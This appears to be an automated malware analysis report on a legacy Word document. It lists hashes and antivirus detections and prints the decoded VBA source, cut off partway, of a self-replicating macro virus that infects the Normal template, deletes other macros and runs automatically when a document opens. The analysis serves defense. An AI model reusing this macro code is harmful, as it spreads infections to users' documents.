Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58ba8eabf58954cd…

MALICIOUS

Office (OLE)

318.0 KB Created: 2000-04-20 05:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a5a84df334d06d0b415ef2e35a19a72b SHA-1: dc2cdfc74c0c11706611d12e8581dfe4d2583571 SHA-256: 58ba8eabf58954cd4471d28a8f34dff64ba7652448b7efcd3d582930c7a07c36
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file exhibits high-confidence indicators of maliciousness, including legacy WordBasic and VBA macro firings, and specific ClamAV detections (Doc.Trojan.Mamm-1, Doc.Trojan.Titasic-3). The VBA macro code, named 'PartaiBulanBintang', appears to be designed to copy itself and potentially execute further actions, suggesting it acts as a downloader or dropper for a second-stage payload. The presence of AutoOpen and AutoClose macros further supports the execution of malicious code upon document opening.

Heuristics 5

  • ClamAV: Doc.Trojan.Mamm-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mamm-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5969 bytes
SHA-256: b33fabfbad6e6514e22c0125abdc65fdfa4ef7a468baf4475a788b6f63e6c832
Detection
ClamAV: Doc.Trojan.Titasic-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "PartaiBulanBintang"
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Public AD As Object, aDes As Variant
Public NonPbb As Boolean, afound As Boolean, hapus As Boolean, reset As Boolean, aExc As Boolean, DocCount As Boolean
Function AstMaster()
Dim nmak(1) As String
Dim NT As Object
Dim aSrc$
On Error GoTo selesai
nmak(0) = "PartaiBulanBintang"
nmak(1) = "frmPBB"

aSrc = MacroContainer
Set NT = NormalTemplate
If Not DocCount Then
Set AD = ActiveDocument
ElseIf aSrc <> "Party.dot" Then
aSrc = NT
End If

If aSrc = NT Then
aSrc = NT.FullName: Set aDes = AD
ElseIf aSrc = AD Then
aSrc = AD.FullName: Set aDes = NT
ElseIf aSrc = "Party.dot" Then
Set aDes = NT
aSrc = Options.DefaultFilePath(8) & "\Party.src"
End If

Mhapus aDes
With aDes.VBProject
If Not (Not hapus And .Description = "PartaiBulanBintang" And .VBComponents.Count > 2) Then
    Mcopy aSrc, aDes, nmak
    hapus = False
    .Description = "PartaiBulanBintang"
    If aDes = NT Then
        Options.SaveInterval = 1
        CustomizationContext = NT
        CommandBars("Tools").reset
        KeyBindings.Add KeyCode:=BuildKeyCode(77, 1024), KeyCategory:=1, _
        Command:="ToolsRecordMacroStart"
        aDes.Save
    End If
    CommandBars("Macro").Controls(2).OnAction = "ViewVbCode"
Else
GoTo Aksi
End If
End With
If afound = True Then Exit Function
Refresh
On Error Resume Next
Aksi:
If aExc = True Then Exit Function
Exit Function
selesai:
If Err.Number = 50289 Then MsgBox "Terimakasih Anda Telah" & Chr(13) & "Memproteksi Word dengan Aman", vbInformation, "frmPBB"
End Function

Sub Mhapus(Sfile)
Dim nmak As Object
For Each nmak In Sfile.VBProject.VBComponents
    If nmak.Name = "NewMacros" Then NonPbb = True
    If nmak.Name <> "ThisDocument" And nmak.Name <> "NewMacros" _
    And nmak.Name <> "PartaiBulanBintang" And nmak.Name <> "frmPBB" Then
        hapus = True
        If reset Then
        Application.OrganizerDelete Sfile.FullName, nmak.Name, 3
        Else
        nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
        End If
    End If
Next nmak
End Sub
Sub Mcopy(Sfile, Dfile, nmak)
Dim aNmak
For Each aNmak In nmak
Application.OrganizerCopy Sfile, Dfile.FullName, aNmak, 3
Next
End Sub
Sub Action()
On Error Resume Next
WBT
If Day(Now()) < 5 Then frmPBB.Show
WBF
End Sub
Sub FileOpen()
If Day(Now()) < 5 Then ShowCursor (False)
WBT
If Dialogs(80).Show <> 0 Then
WBF
AutoOpen
Else
WBF
End If
End Sub

Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
AstMaster
If Documents.Count > 1 Then
    For i = 1 To Documents.Count
    If Documents(i).Name <> ActiveDocument.Name Then
    Set AD = Documents(i)
    DocCount = True
    hapus = False
    AstMaster
    End If
    Next
End If
If Day(Now()) < 5 Then frmPBB.Show
End
End Sub
Sub ViewVbCode()
ShowCursor (False)
End Sub
Sub AutoExec()
On Error Resume Next
If MacroContainer <> NormalTemplate Then
aExc = True
AstMaster
WBT
AddIns.Unload False
WBF
End If
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub AutoExit()
Dim aAddin As Object
On Error GoTo batal
WBT
If Documents.Count <> 0 Then Documents.Close
Options.DefaultFilePath(2) = Options.DefaultFilePath(6)
afound = True
For Each aAddin In AddIns
    If aAddin.Name = "Party.dot" Then afound = False
Next aAddin
        
If afound = True Then
Application.Visible = False
Documents.Add
AstMaster
    With ActiveDocument
        .SaveAs FileName:=Options.DefaultFilePath(8) & "\Party.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
        .SaveAs FileName:=Options.DefaultFilePath(8) & "\Party.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
    End With
End If
Application
... (truncated)

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